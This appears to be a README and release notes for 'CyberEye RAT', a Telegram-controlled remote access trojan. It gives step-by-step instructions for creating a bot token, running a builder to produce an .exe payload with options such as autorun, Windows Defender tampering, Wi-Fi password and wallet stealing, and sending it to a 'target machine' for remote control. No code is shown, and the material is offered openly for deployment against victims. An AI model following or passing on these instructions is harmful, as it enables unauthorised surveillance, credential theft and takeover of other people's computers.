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# Ⓜ Modded Functions:
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AssemblyInfoChanging(config.cs), Beep, Cycle, Tray, SetRandomCurPos, Compiler, DirOrFile, Wifi_Steal, Regedit, Windefender, Cmd, SystemRestore, ScreenResolution, isAdmin, BugReport, Minecraft, CamList, MonitorList.
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# :hammer: Compiling guide:
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# :hammer: Compiling guide using Builder:
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* Go to the [@BotFather](https://t.me/BotFather) bot and create your own bot. You need to save the token and bot name.
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![](images/createBot.JPG)
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* Now you need to get your chat id. To do this, go to the next bot [@chatid_echo_bot](https://t.me/chatid_echo_bot) and save the id.
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![](images/chatidBot.JPG)
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* Now you need to download [Latest stable release](https://github.com/cisamu123/CyberEye/releases)
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![](images/DownloadAndUnzipBuilder.jpg)
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* After downloading the `.zip` archive, extract it to any folder on your system.
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* Inside the extracted folder, run the file `CyberEye.Client.Builder.exe`
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![](images/ExecuteBuilder.jpg)
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* ⚠️ **Important:** Make sure to also move the entire `Stub` folder (included in the archive) to the **same directory** as the Builder.
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Without the `Stub` folder in the correct location, the builder will not be able to generate the final payload.
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* In the builder, fill in the required fields:
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- **Bot Token** (from [@BotFather](https://t.me/BotFather))
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- **Chat ID** (from [@chatid_echo_bot](https://t.me/chatid_echo_bot))
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- Enable optional features using checkboxes (e.g., Autorun, BSOD Protection, etc.)
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* Click **Build**, then choose where to save the final `.exe` payload.
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![](images/BuilderBuild.jpg)
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✅ That’s it — no need to touch Visual Studio. Just fill, click, and deploy!
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* You can send the generated .exe payload to your target machine.
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* After starting the file, you can control the computer through the bot.
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![](images/openMalware.JPG)
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* Write `/help` to see all available commands.
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### **This release introduces a new standalone payload builder for CyberEye RAT, enabling users to generate customized payloads with ease.**
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## 🔑 Key Features
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> Creating and customizing your own RAT has never been easier.
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> With the new **Builder**, you no longer need to open Visual Studio, manually edit config files, or compile the project yourself.
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> Simply run the Builder, fill in your desired options, and generate a fully working stub with just one click.
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### 🧱 Builder Highlights
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- **No coding required** – Everything is done through a user-friendly GUI.
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- **Instant build** – Generates a ready-to-use executable without needing Visual Studio or any compiler setup.
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- **Secure Telegram Integration** – Easily input your bot token and chat ID.
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- **Fully configurable** – Set all options directly from the Builder (admin rights, startup behavior, delay, wallet stealer, etc.).
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> Developed by **Cisamu**
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> Now enhanced with an easy-to-use Builder to streamline your workflow.
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# :hammer: Alternative (OLD) Compiling guide using Visual Studio:
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* Go to the [@BotFather](https://t.me/BotFather) bot and create your own bot. You need to save the token and bot name.
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![](images/createBot.JPG)
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* Now you need to get your chat id. To do this, go to the next bot [@chatid_echo_bot](https://t.me/chatid_echo_bot) and save the id.

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